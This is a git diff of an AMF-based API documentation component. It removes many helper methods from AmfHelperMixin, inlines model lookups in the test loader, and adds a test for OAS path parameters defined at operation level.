   _computePropertyArray(shape: DomainElement, key: string): Array<string|number|boolean|null|Object>|undefined;
 
-  /**
-   * Computes a value of a property in a model (shape).
-   * It takes first value of a property, if exists.
-   *
-   * @param shape AMF shape object
-   * @param key Property name
-   */
-  _computePropertyObject(shape: DomainElement, key: string): string|number|boolean|null|Object|undefined;
-
-  /**
-   * Tests if a passed argument exists.
-   *
-   * @param value A value to test
-   */
-  _computeHasStringValue(value: string|object|number): boolean;
-
-  /**
-   * Computes if passed argument is an array and has a value.
-   * It does not check for type or value of the array items.
-   *
-   * @param value Value to test
-   */
-  _computeHasArrayValue(value: any[]): boolean;
-
-  /**
-   * Computes description for a shape.
-   *
-   * @param shape AMF shape
-   * @returns Description value.
-   */
-  _computeDescription(shape: DomainElement): string|undefined;
-  /**
-   * Computes a list of headers
-   */
-  _computeHeaders(shape: DomainElement): Parameter[]|undefined|Parameter;
-
-  _computeHeaderSchema(shape: DomainElement): Parameter|undefined;
-  
-  /**
-   * Computes a list of query parameters
-   */
-  _computeQueryParameters(shape: DomainElement): Parameter[]|undefined;
-
-  /**
-   * In OAS URI parameters can be defined on an operation level under `uriParameter` property.
-   * Normally `_computeQueryParameters()` function would be used to extract parameters from an endpoint.
-   * This is a fallback option to test when an API is OAS.
-   *
-   * @param shape Method or Expects model
-   */
-  _computeUriParameters(shape: Operation|Request): Parameter[]|undefined;
-  /**
-   * Computes a list of responses
-   */
-  _computeResponses(shape: Operation): Response[]|undefined;
-
-  /**
-   * Computes value for `serverVariables` property.
-   *
-   * @param server AMF API model for Server.
-   * @returns Variables if defined.
-   */
-  _computeServerVariables(server: Server): Parameter[]|undefined;
-
-  /**
-   * Computes value for `endpointVariables` property.
-   *
-   * @param endpoint Endpoint model
-   * @param method Optional method to be used to lookup the parameters from
-   * This is used for OAS model which can defined path parameters on a method level.
-   * @returns Parameters if defined.
-   */
-  _computeEndpointVariables(endpoint: Server, method?: Operation): Parameter[]|undefined;
-
-  /**
-   * Computes value for the `payload` property
-   *
-   * @param expects Current value of `expects` property.
-   * @returns Payload model if defined.
-   */
-  _computePayload(expects: Request): Payload[]|undefined;
-
-  /**
-   * Computes value for `returns` property
-   *
-   * @param method AMF `supportedOperation` model
-   */
-  _computeReturns(method: Operation): Response[]|undefined;
-
-  /**
-   * Computes value for `security` property
-   *
-   * @param method AMF `supportedOperation` model
-   */
-  _computeSecurity(method: Operation): SecurityRequirement[]|undefined;
-
-  /**
-   * Computes value for `hasCustomProperties` property.
-   *
-   * @param shape AMF `supportedOperation` model
-   */
-  _computeHasCustomProperties(shape: DomainElement): boolean|null;
-
   /**
    * Computes API version from the AMF model.
    */
@@ -339,14 +218,6 @@ interface AmfHelperMixin {
    */
   _isAPI(model: AmfDocument): boolean;
 
-  /**
-   * Computes value for `server` property that is later used with other computations.
-   *
-   * @param model AMF model for an API
-   * @returns The server model
-   */
-  _computeServer(model: AmfDocument): Server|undefined;
-
   /**
    * Determines whether a partial model is valid for reading servers from
    * Current valid values:
@@ -362,80 +233,6 @@ interface AmfHelperMixin {
    */
   _getServers(opts?: ServersQueryOptions): Server[]|undefined;
 
-  /**
-   * Compute values for `server` property based on node an optional selected id.
-   *
-   * @returns The server list or undefined if node has no servers
-   */
-  _getServer(opts?: ServerQueryOptions): Server[]|undefined;
-
-  /**
-   * Computes endpoint's URI based on `amf` and `endpoint` models.
-   *
-   * @param server Server model of AMF API.
-   * @param endpoint Endpoint model
-   * @param baseUri Current value of `baseUri` property
-   * @param version API current version
-   * @returns Endpoint's URI
-   * @deprecated Use `_computeUri()` instead
-   */
-  _computeEndpointUri(server: Server, endpoint: EndPoint, baseUri?: string, version?: string): string|undefined;
-
-  /**
-   * Computes endpoint's URI based on `endpoint` model.
-   *
-   * @param endpoint Model for the endpoint
-   * @param opts Configuration options
-   */
-  _computeUri(endpoint: EndPoint, opts?: ComputeUriOptions): string;
-
-  /**
-   * Appends endpoint's path to the url
-   */
-  _appendPath(url: string, endpoint: EndPoint): string;
-
-  /**
-   * Computes base URI value from either `baseUri`, `iron-meta` with
-   * `ApiBaseUri` key or `amf` value (in this order).
-   *
-   * @param baseUri Value of `baseUri` property
-   * @param server AMF API model for Server.
-   * @param protocols List of supported protocols
-   * @returns Base uri value. Can be empty string.
-   */
-  _getBaseUri(baseUri: string, server: Server, protocols?: string[]): string;
-
-  /**
-   * Computes base URI from AMF model.
-   *
-   * @param server AMF API model for Server.
-   * @param protocols List of supported protocols. If not
-   * provided and required to compute the url it uses `amf` to compute
-   * protocols
-   * @returns Base uri value if exists.
-   */
-  _getAmfBaseUri(server: Server, protocols: string[]): string|undefined;
-
-  /**
-   * A function that makes sure that the URL has a scheme definition.
-   * If no supported protocols information is available it assumes `http`.
-   *
-   * @param value A url value
-   * @param protocols List of supported by the API protocols
-   * An array of string like: `['HTTP', 'HTTPS']`. It lowercase the value.
-   * If not set it tries to read supported protocols value from `amf`
-   * property.
-   * @returns Url with scheme.
-   */
-  _ensureUrlScheme(value: string, protocols: string[]): string|undefined;
-
-  /**
-   * Computes supported protocols by the API.
-   *
-   * @param model AMF data model
-   */
-  _computeProtocols(model: AmfDocument): string[]|undefined;
-
   /**
    * Computes value for the `expects` property.
    *
@@ -443,14 +240,6 @@ interface AmfHelperMixin {
    */
   _computeExpects(method: Operation): Request|undefined;
 
-  /**
-   * Tries to find an example value (whether it's default value or from an
-   * example) to put it into snippet's values.
-   *
-   * @param item A http://raml.org/vocabularies/http#Parameter property
-   */
-  _computePropertyValue(item: Parameter): string|undefined;
-
   /**
    * Computes list of endpoints from a WebApi model.
    *
@@ -467,15 +256,6 @@ interface AmfHelperMixin {
    */
   _computeEndpointModel(webApi: WebApi, id: string): EndPoint|undefined;
 
-  /**
-   * Computes model for an endpoint documentation using it's path.
-   *
-   * @param webApi Current value of `webApi` property
-   * @param path Endpoint path
-   * @returns An endpoint definition
-   */
-  _computeEndpointByPath(webApi: WebApi, path: string): EndPoint|undefined;
-
   /**
    * Computes method for the method documentation.
    *
@@ -485,15 +265,6 @@ interface AmfHelperMixin {
    */
   _computeMethodModel(webApi: WebApi, selected: string): Operation|undefined;
 
-  /**
-   * Computes list of operations in an endpoint
-   *
-   * @param webApi The WebApi AMF model
-   * @param id Endpoint ID
-   * @returns List of SupportedOperation objects
-   */
-  _computeOperations(webApi: WebApi, id: string): Operation[]|undefined;
-
   /**
    * Computes an endpoint for a method.
    *
@@ -548,15 +319,6 @@ interface AmfHelperMixin {
    */
   _computeReferenceType(reference: DomainElement, selected: string): Shape|undefined;
 
-  /**
-   * Computes model for selected security definition.
-   *
-   * @param declares Current value of `declares` property
-   * @param selected Selected shape
-   * @returns A security definition
-   */
-  _computeSecurityModel(declares: DomainElement[], selected: string): SecurityScheme|undefined;
-
   /**
    * Computes a documentation model.
    *
diff --git a/src/helpers/AmfHelperMixin.js b/src/helpers/AmfHelperMixin.js
index ddcafba..ce857f0 100644
--- a/src/helpers/AmfHelperMixin.js
+++ b/src/helpers/AmfHelperMixin.js
@@ -45,25 +45,6 @@ export const getArrayItems = Symbol('getArrayItems');
 
 /**
  * Common functions used by AMF components to compute AMF values.
- *
- * ## Updating API's base URI
- *
- * (Only applies when using `_computeUri()` function)
- *
- * By default the component render the documentation as it is defined
- * in the AMF model. Sometimes, however, you may need to replace the base URI
- * of the API with something else. It is useful when the API does not
- * have base URI property defined (therefore this component render relative
- * paths instead of URIs) or when you want to manage different environments.
- *
- * To update base URI value update the `baseUri` property.
- *
- * When the component constructs the final URI for the endpoint it does the following:
- * - if `baseUri` is set it uses this value as a base uri for the endpoint
- * - else if `amf` is set then it computes base uri value from main
- * model document
- * Then it concatenates computed base URI with `endpoint`'s path property.
- *
  * @param {*} base
  * @returns {*}
  * @mixin
@@ -391,172 +372,6 @@ export const AmfHelperMixin = (base) => class extends base {
     return data;
   }
 
-  /**
-   * Computes a value of a property in a model (shape).
-   * It takes first value of a property, if exists.
-   *
-   * @param {DomainElement} shape AMF shape object
-   * @param {string} key Property name
-   * @returns {string|number|boolean|null|Object|undefined}
-   */
-  _computePropertyObject(shape, key) {
-    /* eslint-disable-next-line no-param-reassign */
-    key = this._getAmfKey(key);
-    const data = this._computePropertyArray(shape, key);
-    return data && data[0];
-  }
-
-  /**
-   * Tests if a passed argument exists.
-   *
-   * @param {string|Object|number} value A value to test
-   * @returns {boolean}
-   */
-  _computeHasStringValue(value) {
-    return !!value || value === 0;
-  }
-
-  /**
-   * Computes if passed argument is an array and has a value.
-   * It does not check for type or value of the array items.
-   * @param {Array} value Value to test
-   * @returns {boolean}
-   */
-  _computeHasArrayValue(value) {
-    return !!(value instanceof Array && value.length);
-  }
-
-  /**
-   * Computes description for a shape.
-   * @param {DomainElement} shape AMF shape
-   * @returns {string} Description value.
-   */
-  _computeDescription(shape) {
-    return /** @type string */ (this._getValue(shape, this.ns.schema.desc));
-  }
-
-  /**
-   * Computes a list of headers
-   * @param {DomainElement} shape
-   * @returns {Parameter[]|Parameter|undefined}
-   */
-  _computeHeaders(shape) {
-    return this._computePropertyArray(shape, this.ns.aml.vocabularies.apiContract.header) || this._computeHeaderSchema(shape);
-  }
-
-  /**
-   * 
-   * @param {DomainElement} shape 
-   * @returns {Parameter|undefined}
-   */
-  _computeHeaderSchema(shape) {
-    return this._computePropertyObject(shape, this.ns.aml.vocabularies.apiContract.headerSchema);
-  }
-
-  /**
-   * Computes a list of query parameters
-   * @param {DomainElement} shape
-   * @returns {Parameter[]|undefined}
-   */
-  _computeQueryParameters(shape) {
-    return this._computePropertyArray(shape, this.ns.aml.vocabularies.apiContract.parameter);
-  }
-
-  /**
-   * In OAS URI parameters can be defined on an operation level under `uriParameter` property.
-   * Normally `_computeQueryParameters()` function would be used to extract parameters from an endpoint.
-   * This is a fallback option to test when an API is OAS.
-   * @param {Operation|Request} shape Method or Expects model
-   * @returns {Parameter[]}
-   */
-  _computeUriParameters(shape) {
-    if (!shape) {
-      return undefined;
-    }
-    const { apiContract } = this.ns.aml.vocabularies;
-    let object = shape;
-    if (this._hasType(object, apiContract.Operation)) {
-      const typed = /** @type Operation */ (object);
-      object = this._computeExpects(typed);
-    }
-    return this._computePropertyArray(object, apiContract.uriParameter);
-  }
-
-  /**
-   * Computes a list of responses
-   * @param {Operation} shape
-   * @returns {Response[]|undefined}
-   */
-  _computeResponses(shape) {
-    return this._computePropertyArray(shape, this.ns.aml.vocabularies.apiContract.response);
-  }
-
-  /**
-   * Computes value for `serverVariables` property.
-   *
-   * @param {Server} server AMF API model for Server.
-   * @returns {Parameter[]|undefined} Variables if defined.
-   */
-  _computeServerVariables(server) {
-    return this._computePropertyArray(server, this.ns.aml.vocabularies.apiContract.variable);
-  }
-
-  /**
-   * Computes value for `endpointVariables` property.
-   *
-   * @param {EndPoint} endpoint Endpoint model
-   * @param {Operation=} method Optional method to be used to lookup the parameters from
-   * This is used for OAS model which can defined path parameters on a method level.
-   * @returns {Parameter[]|undefined} Parameters if defined.
-   */
-  _computeEndpointVariables(endpoint, method) {
-    let result = this._computeQueryParameters(endpoint);
-    if (!result && method) {
-      result = this._computeUriParameters(method);
-    }
-    return result;
-  }
-
-  /**
-   * Computes value for the `payload` property
-   *
-   * @param {Request} expects Current value of `expects` property.
-   * @returns {Payload[]|undefined} Payload model if defined.
-   */
-  _computePayload(expects) {
-    return this._computePropertyArray(expects, this.ns.aml.vocabularies.apiContract.payload);
-  }
-
-  /**
-   * Computes value for `returns` property
-   *
-   * @param {Operation} method AMF `supportedOperation` model
-   * @returns {Response[]|undefined}
-   */
-  _computeReturns(method) {
-    return this._computePropertyArray(method, this.ns.aml.vocabularies.apiContract.returns);
-  }
-
-  /**
-   * Computes value for `security` property
-   *
-   * @param {Operation} method AMF `supportedOperation` model
-   * @returns {SecurityRequirement[]|undefined}
-   */
-  _computeSecurity(method) {
-    return this._computePropertyArray(method, this.ns.aml.vocabularies.security.security);
-  }
-
-  /**
-   * Computes value for `hasCustomProperties` property.
-   *
-   * @param {DomainElement} shape AMF `supportedOperation` model
-   * @returns {boolean}
-   */
-  _computeHasCustomProperties(shape) {
-    return this._hasProperty(shape, this.ns.aml.vocabularies.document.customDomainProperties);
-  }
-
   /**
    * Computes API version from the AMF model.
    *
@@ -713,22 +528,6 @@ export const AmfHelperMixin = (base) => class extends base {
     return this._hasType(enc, this.ns.aml.vocabularies.apiContract.API);
   }
 
-  /**
-   * Computes value for `server` property that is later used with other computations.
-   *
-   * @param {AmfDocument} model AMF model for an API
-   * @returns {Server|undefined} The server model
-   */
-  _computeServer(model) {
-    const api = this._computeApi(model);
-    if (!api) {
-      return undefined;
-    }
-    const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.server);
-    const srv = this._ensureArray(api[key]);
-    return srv ? srv[0] : undefined;
-  }
-
   /**
    * Determines whether a partial model is valid for reading servers from
    * Current valid values:
@@ -809,158 +608,6 @@ export const AmfHelperMixin = (base) => class extends base {
     return getRootServers();
   }
 
-  /**
-   * Compute values for `server` property based on node an optional selected id.
-   *
-   * @param {ServerQueryOptions=} options Server query options
-   * @returns {Server[]|undefined} The server list or undefined if node has no servers
-   */
-  _getServer(options = {}) {
-    const { endpointId, methodId, id } = options;
-    const servers = this._getServers({ endpointId, methodId });
-    return servers ? servers.filter((srv) => this._getValue(srv, '@id') === id) : undefined;
-  }
-
-  /**
-   * Computes endpoint's URI based on `amf` and `endpoint` models.
-   *
-   * @param {Server} server Server model of AMF API.
-   * @param {EndPoint} endpoint Endpoint model
-   * @param {string=} baseUri Current value of `baseUri` property
-   * @param {string=} version API current version
-   * @returns {string} Endpoint's URI
-   * @deprecated Use `_computeUri()` instead
-   */
-  _computeEndpointUri(server, endpoint, baseUri, version) {
-    let baseValue = this._getBaseUri(baseUri, server) || '';
-    if (baseValue && baseValue[baseValue.length - 1] === '/') {
-      baseValue = baseValue.substr(0, baseValue.length - 1);
-    }
-    baseValue = this._ensureUrlScheme(baseValue);
-    const path = this._getValue(endpoint, this.ns.aml.vocabularies.apiContract.path);
-    let result = baseValue + (path || '');
-    if (version && result) {
-      result = result.replace('{version}', version);
-    }
-    return result;
-  }
-
-  /**
-   * Computes endpoint's URI based on `endpoint` model.
-   *
-   * @param {EndPoint} endpoint Model for the endpoint
-   * @param {ComputeUriOptions=} options Configuration options
-   * @returns {string} The base uri for the endpoint.
-   */
-  _computeUri(endpoint, options = {}) {
-    const { server, baseUri, version, ignoreBase=false, protocols, ignorePath = false } = options;
-    let baseValue = '';
-    if (ignoreBase === false) {
-      baseValue = this._getBaseUri(baseUri, server, protocols) || '';
-      if (baseValue && baseValue[baseValue.length - 1] === '/') {
-        baseValue = baseValue.substr(0, baseValue.length - 1);
-      }
-      baseValue = this._ensureUrlScheme(baseValue, protocols);
-    }
-    let result = baseValue;
-    if (version && result) {
-      result = result.replace('{version}', version);
-    }
-    if (!ignorePath) {
-      result = this._appendPath(result, endpoint);
-    }
-    return result;
-  }
-
-  /**
-   * Appends endpoint's path to url
-   * @param {string} url
-   * @param {EndPoint} endpoint
-   * @returns {string}
-   */
-  _appendPath(url, endpoint) {
-    const path = this._getValue(endpoint, this.ns.aml.vocabularies.apiContract.path);
-    return url + (path || '');
-  }
-
-  /**
-   * Computes base URI value from either `baseUri` or `amf` value (in this order).
-   *
-   * @param {string} baseUri Value of `baseUri` property
-   * @param {Server} server AMF API model for Server.
-   * @param {string[]=} protocols List of supported protocols
-   * @returns {string} Base uri value. Can be empty string.
-   */
-  _getBaseUri(baseUri, server, protocols) {
-    if (baseUri) {
-      return baseUri;
-    }
-    return this._getAmfBaseUri(server, protocols) || '';
-  }
-
-  /**
-   * Computes base URI from AMF model.
-   *
-   * @param {Server} server AMF API model for Server.
-   * @param {string[]=} protocols The list of supported protocols. If not
-   * provided and required to compute the url it uses `amf` to compute
-   * protocols
-   * @returns {string|undefined} Base uri value if exists.
-   */
-  _getAmfBaseUri(server, protocols) {
-    const key = this.ns.aml.vocabularies.core.urlTemplate;
-    let value = /** @type string */ (this._getValue(server, key));
-    value = this._ensureUrlScheme(value, protocols);
-    return value;
-  }
-
-  /**
-   * A function that makes sure that the URL has a scheme definition.
-   * If no supported protocols information is available it assumes `http`.
-   *
-   * @param {string} value A url value
-   * @param {string[]=} protocols List of supported by the API protocols
-   * An array of string like: `['HTTP', 'HTTPS']`. It lowercase the value.
-   * If not set it tries to read supported protocols value from `amf`
-   * property.
-   * @returns {string} Url with scheme.
-   */
-  _ensureUrlScheme(value, protocols) {
-    if (value && typeof value === 'string') {
-      if (value.indexOf('http') !== 0) {
-        if (!protocols || !protocols.length) {
-          /* eslint-disable-next-line no-param-reassign */
-          protocols = this._computeProtocols(this.amf);
-        }
-        if (protocols && protocols.length) {
-          const protocol = protocols[0].toLowerCase();
-          if (!value.startsWith(protocol)) {
-            /* eslint-disable-next-line no-param-reassign */
-            value = `${protocol}://${value}`;
-          }
-        } else {
-          /* eslint-disable-next-line no-param-reassign */
-          value = `http://${value}`;
-        }
-      }
-    }
-    return value;
-  }
-
-  /**
-   * Computes supported protocols by the API.
-   *
-   * @param {AmfDocument} model AMF data model
-   * @returns {string[]|undefined}
-   */
-  _computeProtocols(model) {
-    const api = this._computeApi(model);
-    if (!api) {
-      return undefined;
-    }
-    return /** @type string[]} */ (this._getValueArray(api, this.ns.aml.vocabularies.apiContract.scheme));
-  }
-
   /**
    * Computes value for the `expects` property.
    *
@@ -980,39 +627,6 @@ export const AmfHelperMixin = (base) => class extends base {
     return undefined;
   }
 
-  /**
-   * Finds an example value (whether it's default value or from an
-   * example) to put it into snippet's values.
-   *
-   * @param {Parameter} item A http://raml.org/vocabularies/http#Parameter property
-   * @returns {string|undefined}
-   */
-  _computePropertyValue(item) {
-    const exKey = this.ns.aml.vocabularies.apiContract.examples;
-    const schemaKey = this.ns.aml.vocabularies.shapes.schema;
-    const rawKey = this.ns.aml.vocabularies.document.raw;
-    const sKey = this._getAmfKey(schemaKey);
-    let schema = item && item[sKey];
-    if (!schema) {
-      return undefined;
-    }
-    if (Array.isArray(schema)) {
-      [schema] = schema;
-    }
-    let value = this._getValue(schema, this.ns.w3.shacl.defaultValue);
-    if (!value) {
-      const examplesKey = this._getAmfKey(exKey);
-      let example = schema[examplesKey];
-      if (example) {
-        if (example instanceof Array) {
-          [example] = example;
-        }
-        value = this._getValue(example, rawKey);
-      }
-    }
-    return /** @type string */ (value);
-  }
-
   /**
    * Computes list of endpoints from a WebApi model.
    * @param {WebApi} webApi
@@ -1045,31 +659,6 @@ export const AmfHelperMixin = (base) => class extends base {
     return endpoints.find((item) => item['@id'] === id);
   }
 
-  /**
-   * Computes model for an endpoint documentation using it's path.
-   *
-   * @param {WebApi} webApi Current value of `webApi` property
-   * @param {string} path Endpoint path
-   * @returns {EndPoint|undefined} An endpoint definition
-   */
-  _computeEndpointByPath(webApi, path) {
-    if (!path || !webApi) {
-      return undefined;
-    }
-    const endpoints = this._computeEndpoints(webApi);
-    if (!endpoints) {
-      return undefined;
-    }
-    const pathKey = this.ns.aml.vocabularies.apiContract.path;
-    for (let i = 0; i < endpoints.length; i++) {
-      const ePath = this._getValue(endpoints[i], pathKey);
-      if (ePath === path) {
-        return endpoints[i];
-      }
-    }
-    return undefined;
-  }
-
   /**
    * Computes method for the method documentation.
    *
@@ -1085,21 +674,6 @@ export const AmfHelperMixin = (base) => class extends base {
     return methods.find((item) => item['@id'] === selected);
   }
 
-  /**
-   * Computes list of operations in an endpoint
-   * @param {WebApi} webApi The WebApi AMF model
-   * @param {string} id Endpoint ID
-   * @returns {Operation[]} List of SupportedOperation objects
-   */
-  _computeOperations(webApi, id) {
-    const endpoint = this._computeEndpointModel(webApi, id);
-    if (!endpoint) {
-      return [];
-    }
-    const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation);
-    return this._ensureArray(endpoint[opKey]);
-  }
-
   /**
    * Computes an endpoint for a method.
    * @param {WebApi} webApi The WebApi AMF model
@@ -1273,20 +847,6 @@ export const AmfHelperMixin = (base) => class extends base {
     return this._resolve(result);
   }
 
-  /**
-   * Computes model for selected security definition.
-   *
-   * @param {DomainElement[]} declares Current value of `declares` property
-   * @param {string} selected Selected shape
-   * @returns {SecurityScheme|undefined} A security definition
-   */
-  _computeSecurityModel(declares, selected) {
-    if (!declares || !selected) {
-      return undefined;
-    }
-    return declares.find((item) => item['@id'] === selected);
-  }
-
   /**
    * Computes a documentation model.
    *
diff --git a/test/AmfLoader.js b/test/AmfLoader.js
index d14c800..c13d9d5 100644
--- a/test/AmfLoader.js
+++ b/test/AmfLoader.js
@@ -14,6 +14,7 @@ import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
 /** @typedef {import('../src/helpers/amf').Response} Response */
 /** @typedef {import('../src/helpers/amf').Request} Request */
 /** @typedef {import('../src/helpers/amf').Server} Server */
+/** @typedef {import('../src/helpers/amf').Parameter} Parameter */
 /** @typedef {import('../src/helpers/api').ApiEndPoint} ApiEndPoint */
 /** @typedef {import('../src/helpers/api').ApiOperation} ApiOperation */
 /** @typedef {import('../src/helpers/api').ApiPayload} ApiPayload */
@@ -59,7 +60,19 @@ export class AmfLoader extends AmfHelperMixin(Object) {
   lookupEndpoint(model, path) {
     this.amf = model;
     const webApi = this._computeApi(model);
-    return this._computeEndpointByPath(webApi, path);
+    if (!webApi) {
+      throw new Error('This AMF model does not contain API definition.');
+    }
+    const endpoints = webApi[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
+    if (!Array.isArray(endpoints) || !endpoints.length) {
+      throw new Error('This API does not contain endpoints.');
+    }
+    const pathKey = this.ns.aml.vocabularies.apiContract.path;
+    const ep = endpoints.find(i => this._getValue(i, pathKey) === path);
+    if (!ep) {
+      throw new Error(`An endpoint with path ${path} does not exist in this API.`);
+    }
+    return ep;
   }
 
   /**
@@ -150,7 +163,7 @@ export class AmfLoader extends AmfHelperMixin(Object) {
    */
   lookupPayloads(model, endpoint, operation) {
     const expects = this.lookupExpects(model, endpoint, operation);
-    let payloads = this._computePayload(expects);
+    let payloads = expects[this._getAmfKey(this.ns.aml.vocabularies.apiContract.payload)];
     if (payloads && !Array.isArray(payloads)) {
       payloads = [payloads];
     }
@@ -332,7 +345,7 @@ export class AmfLoader extends AmfHelperMixin(Object) {
    */
   lookupResponses(model, endpoint, operation) {
     const method = this.lookupOperation(model, endpoint, operation);
-    return this._computeReturns(method);
+    return method[this._getAmfKey(this.ns.aml.vocabularies.apiContract.returns)];
   }
 
   /**
@@ -498,7 +511,7 @@ export class AmfLoader extends AmfHelperMixin(Object) {
    */
   lookupRequestPayloads(model, path, operation) {
     const request = this.lookupExpects(model, path, operation);
-    const payload = this._computePayload(request);
+    const payload = request[this._getAmfKey(this.ns.aml.vocabularies.apiContract.payload)];
     if (!payload || !payload.length) {
       throw new Error(`Operation ${operation} of endpoint ${payload} has no request payload.`);
     }
@@ -561,4 +574,31 @@ export class AmfLoader extends AmfHelperMixin(Object) {
     }
     return result;
   }
+
+  /**
+   * @param {Request|Response} source 
+   * @returns {Parameter[]|undefined}
+   */
+  readHeaders(source) {
+    const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.header);
+    let values = source[key];
+    if (values && !Array.isArray(values)) {
+      values = [values];
+    }
+    return values;
+  }
+
+  /**
+   * Computes a list of query parameters
+   * @param {Request} source 
+   * @returns {Parameter[]|undefined}
+   */
+  readQueryParameters(source) {
+    const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.parameter);
+    let values = source[key];
+    if (values && !Array.isArray(values)) {
+      values = [values];
+    }
+    return values;
+  }
 }
diff --git a/test/elements/SE-12957.test.js b/test/elements/SE-12957.test.js
new file mode 100644
index 0000000..950391b
--- /dev/null
+++ b/test/elements/SE-12957.test.js
@@ -0,0 +1,54 @@
+import { fixture, assert, html, aTimeout } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../api-operation-document.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').ApiOperationDocumentElement} ApiOperationDocumentElement */
+/** @typedef {import('../../').ApiParameterDocumentElement} ApiParameterDocumentElement */
+/** @typedef {import('../../src/helpers/amf').Operation} Operation */
+
+// In OAS path parameters can be defined on an operation level. This is in conflict
+// with RAML which only allows variables on the endpoint level.
+// This tests for reading parameters from an endpoint that are locates on the
+// method level.
+describe('ApiOperationDocumentElement', () => {
+  describe('SE-12957', () => {
+    const loader = new AmfLoader();
+    const apiFile = 'SE-12957';
+
+    /**
+     * @param {AmfDocument} amf
+     * @param {Operation=} shape
+     * @returns {Promise<ApiOperationDocumentElement>}
+     */
+    async function basicFixture(amf, shape) {
+      const element = await fixture(html`<api-operation-document 
+        .queryDebouncerTimeout="${0}" 
+        .amf="${amf}" 
+        .domainModel="${shape}"
+      ></api-operation-document>`);
+      await aTimeout(0);
+      return /** @type ApiOperationDocumentElement */ (element);
+    }
+
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type AmfDocument */
+        let model;
+        before(async () => {
+          model = await loader.getGraph(compact, apiFile);
+        });
+
+        it('computes path parameters from AMF Endpoint model', async () => {
+          const data = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get');
+          const element = await basicFixture(model, data);
+          const request = element.shadowRoot.querySelector('api-request-document');
+          const params = request.shadowRoot.querySelectorAll('api-parameter-document[data-name="uri"]');
+          assert.lengthOf(params, 1, 'has a single path parameter');
+          const param = /** @type ApiParameterDocumentElement */ (params[0]);
+          assert.equal(param.parameter.name, 'scada-object-key', 'has the model defined parameter');
+        });
+      });
+    });
+  });
+});
diff --git a/test/helpers/AmfHelperMixin.test.js b/test/helpers/AmfHelperMixin.test.js
index bdb5ee0..79a3ac3 100644
--- a/test/helpers/AmfHelperMixin.test.js
+++ b/test/helpers/AmfHelperMixin.test.js
@@ -430,224 +430,6 @@ describe('AmfHelperMixin', () => {
         });
       });
 
-      describe('_computePropertyObject()', () => {
-        beforeEach(async () => {
-          element = await modelFixture(model);
-        });
-
-        it('Returns undefined if no arguments', () => {
-          assert.isUndefined(element._computePropertyObject(undefined, undefined));
-        });
-
-        it('Returns undefined if no model argument', () => {
-          assert.isUndefined(element._computePropertyObject(undefined, 'test'));
-        });
-
-        it('Returns undefined if no key argument', () => {
-          assert.isUndefined(element._computePropertyObject({
-            '@id': 'amf://1',
-            '@type': ['test'],
-          }, undefined));
-        });
-
-        it('Returns boolean value', () => {
-          assert.isTrue(
-            element._computePropertyObject(
-              /** @type DomainElement */ ({
-                test: [true],
-                '@id': 'amf://1',
-                '@type': ['test'],
-              }),
-              'test'
-            )
-          );
-
-          assert.isFalse(
-            element._computePropertyObject(
-              /** @type DomainElement */ ({
-                test: [false],
-                '@id': 'amf://1',
-                '@type': ['test'],
-              }),
-              'test'
-            )
-          );
-        });
-
-        it('Returns null value', () => {
-          assert.equal(
-            element._computePropertyObject(
-              /** @type DomainElement */ ({
-                test: [null],
-                '@id': 'amf://1',
-                '@type': ['test'],
-              }),
-              'test'
-            ),
-            null
-          );
-        });
-
-        it('Returns string value', () => {
-          assert.equal(
-            element._computePropertyObject(
-              /** @type DomainElement */ ({
-                test: ['test-value'],
-                '@id': 'amf://1',
-                '@type': ['test'],
-              }),
-              'test'
-            ),
-            'test-value'
-          );
-        });
-
-        it('Returns number value', () => {
-          assert.equal(
-            element._computePropertyObject(
-              /** @type DomainElement */ ({
-                test: [123],
-                '@id': 'amf://1',
-                '@type': ['test'],
-              }),
-              'test'
-            ),
-            123
-          );
-        });
-
-        it('Returns 0 value', () => {
-          assert.equal(
-            element._computePropertyObject(
-              /** @type DomainElement */ ({
-                test: [0],
-                '@id': 'amf://1',
-                '@type': ['test'],
-              }),
-              'test'
-            ),
-            0
-          );
-        });
-      });
-
-      describe('_computeHasStringValue()', () => {
-        beforeEach(async () => {
-          element = await modelFixture(model);
-        });
-
-        it('Returns false if no argument', () => {
-          assert.isFalse(element._computeHasStringValue(undefined));
-        });
-
-        it('Returns false if empty string', () => {
-          assert.isFalse(element._computeHasStringValue(''));
-        });
-
-        it('Returns true if not empty string', () => {
-          assert.isTrue(element._computeHasStringValue('a'));
-        });
-
-        it('Returns true if an object', () => {
-          assert.isTrue(element._computeHasStringValue({ a: 'b' }));
-        });
-
-        it('Returns true if a number', () => {
-          assert.isTrue(element._computeHasStringValue(125));
-          assert.isTrue(element._computeHasStringValue(0));
-        });
-      });
-
-      describe('_computeHasStringValue()', () => {
-        beforeEach(async () => {
-          element = await modelFixture(model);
-        });
-
-        it('Returns false if no argument', () => {
-          assert.isFalse(element._computeHasStringValue(undefined));
-        });
-
-        it('Returns false if empty string', () => {
-          assert.isFalse(element._computeHasStringValue(''));
-        });
-
-        it('Returns true if not empty string', () => {
-          assert.isTrue(element._computeHasStringValue('a'));
-        });
-
-        it('Returns true if an object', () => {
-          assert.isTrue(element._computeHasStringValue({ a: 'b' }));
-        });
-
-        it('Returns true if a number', () => {
-          assert.isTrue(element._computeHasStringValue(125));
-          assert.isTrue(element._computeHasStringValue(0));
-        });
-      });
-
-      describe('_computeHasArrayValue()', () => {
-        beforeEach(async () => {
-          element = await modelFixture(model);
-        });
-
-        it('Returns false if no argument', () => {
-          assert.isFalse(element._computeHasArrayValue(undefined));
-        });
-
-        it('Returns false if empty array', () => {
-          assert.isFalse(element._computeHasArrayValue([]));
-        });
-
-        it('Returns false if not array', () => {
-          // @ts-ignore
-          assert.isFalse(element._computeHasArrayValue('a'));
-        });
-
-        it('Returns true if array has items', () => {
-          assert.isTrue(element._computeHasStringValue(['a']));
-        });
-      });
-
-      describe('_computeDescription()', () => {
-        beforeEach(async () => {
-          element = await modelFixture(model);
-        });
-
-        it('Returns undefined if no argument', () => {
